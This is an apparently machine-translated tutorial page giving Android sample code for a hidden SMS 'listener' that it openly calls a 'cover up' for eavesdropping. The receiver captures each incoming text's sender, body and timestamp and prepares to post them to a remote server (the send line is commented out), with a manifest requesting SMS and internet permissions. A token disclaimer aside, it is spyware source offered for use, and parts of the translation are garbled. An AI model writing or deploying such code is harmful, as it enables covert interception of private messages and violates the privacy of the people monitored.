android SMS listening tool of sample code

  • 2020-05-17 06:30:13
  • OfStack

Before studying this example, the reader should understand the basic concept and use of the "broadcast receiver" in the android4 component.

Since it is a "listener", there is no need to set up Activity. This is also a kind of "cover up". With BroadcastReceiver, this "hidden" purpose can be achieved. Ha ha. Of course, it is more appropriate to use services to develop such applications. I won't go into "services" here. This example is for reference only. Do not use it illegally.


package cn.itcast.sms;
import java.sql.Date;
import java.text.SimpleDateFormat;
import java.util.HashMap;
import java.util.Map;
import cn.itcast.utils.SocketHttpRequester;
import android.content.BroadcastReceiver;
import android.content.Context;
import android.content.Intent;
import android.telephony.SmsMessage;
import android.util.Log;
public class SMSBroadcastReceiver extends BroadcastReceiver {
    // Obtain the relevant information of SMS from the receiver and send the relevant information to the server for eavesdropping 
 @Override
 public void onReceive(Context context, Intent intent) {
  Object[] pduses = (Object[])intent.getExtras().get("pdus");
  for(Object pdus : pduses){
   byte[] pdusmessage = (byte[]) pdus;// no 1 Short messages 
   SmsMessage sms = SmsMessage.createFromPdu(pdusmessage);
   String mobile = sms.getOriginatingAddress();// Get the phone number 
   String content = sms.getMessageBody();// Get the text 
   Date date = new Date(sms.getTimestampMillis());// Get the exact time to send the message 
   //2009-10-12 12:21:23
   SimpleDateFormat format = new SimpleDateFormat("yyyy-MM-dd HH:mm:ss");// Format the practice 
   String sendtime = format.format(date);
   Map<String, String> params = new HashMap<String, String>();
   params.put("method", "getSMS");// Put everything related to text messages into a collection 
   params.put("mobile", mobile);
   params.put("content", content);
   params.put("sendtime", sendtime);
   try {// using socket To send intercepted content to the server 
    //SocketHttpRequester.post("http://192.168.1.100:8080/videoweb/video/manage.do", params, "UTF-8");
   } catch (Exception e) {
    Log.e("SMSBroadcastReceiver", e.toString());
   }
  }
 }
}

Note the modification of the configuration of the Android project file

<?xml version="1.0" encoding="utf-8"?>
<manifest xmlns:android="http://schemas.android.com/apk/res/android"
      package="cn.itcast.sms"
      android:versionCode="1"
      android:versionName="1.0">
    <application android:icon="@drawable/icon" android:label="@string/app_name">
  <receiver android:name=".SMSBroadcastReceiver">
   <intent-filter>
    <action android:name="android.provider.Telephony.SMS_RECEIVED"/>
   </intent-filter>
  </receiver>
    </application>
    <uses-sdk android:minSdkVersion="8" />
<uses-permission android:name="android.permission.RECEIVE_SMS"/><!--  Access to receive SMS  -->
 <!--  Access to the network  -->
<uses-permission android:name="android.permission.INTERNET"/>
</manifest> 

Finally, there are two ways to register for broadcast in Android (the second way used above is to configure the project manifest file).

First, register by code;


The & # 65279; The & # 65279; When implementing the radio receiver, set the radio receiver radio and the types of information, here is the information: android. provider. Telephony. SMS_RECEIVED

We can register the broadcast receiver into the system and let the system know that we have a broadcast receiver. There are two types, one is dynamic code registration:


// Generate broadcast processing   
smsBroadCastReceiver = new SmsBroadCastReceiver();  
// Instantiate the filter and set the broadcast to filter   
IntentFilter intentFilter = new IntentFilter();  
intentFilter.addAction(SMS_ACTION);  

// Registration of radio   
BroadCastReceiverActivity.this.registerReceiver(smsBroadCastReceiver, intentFilter);  


Related articles: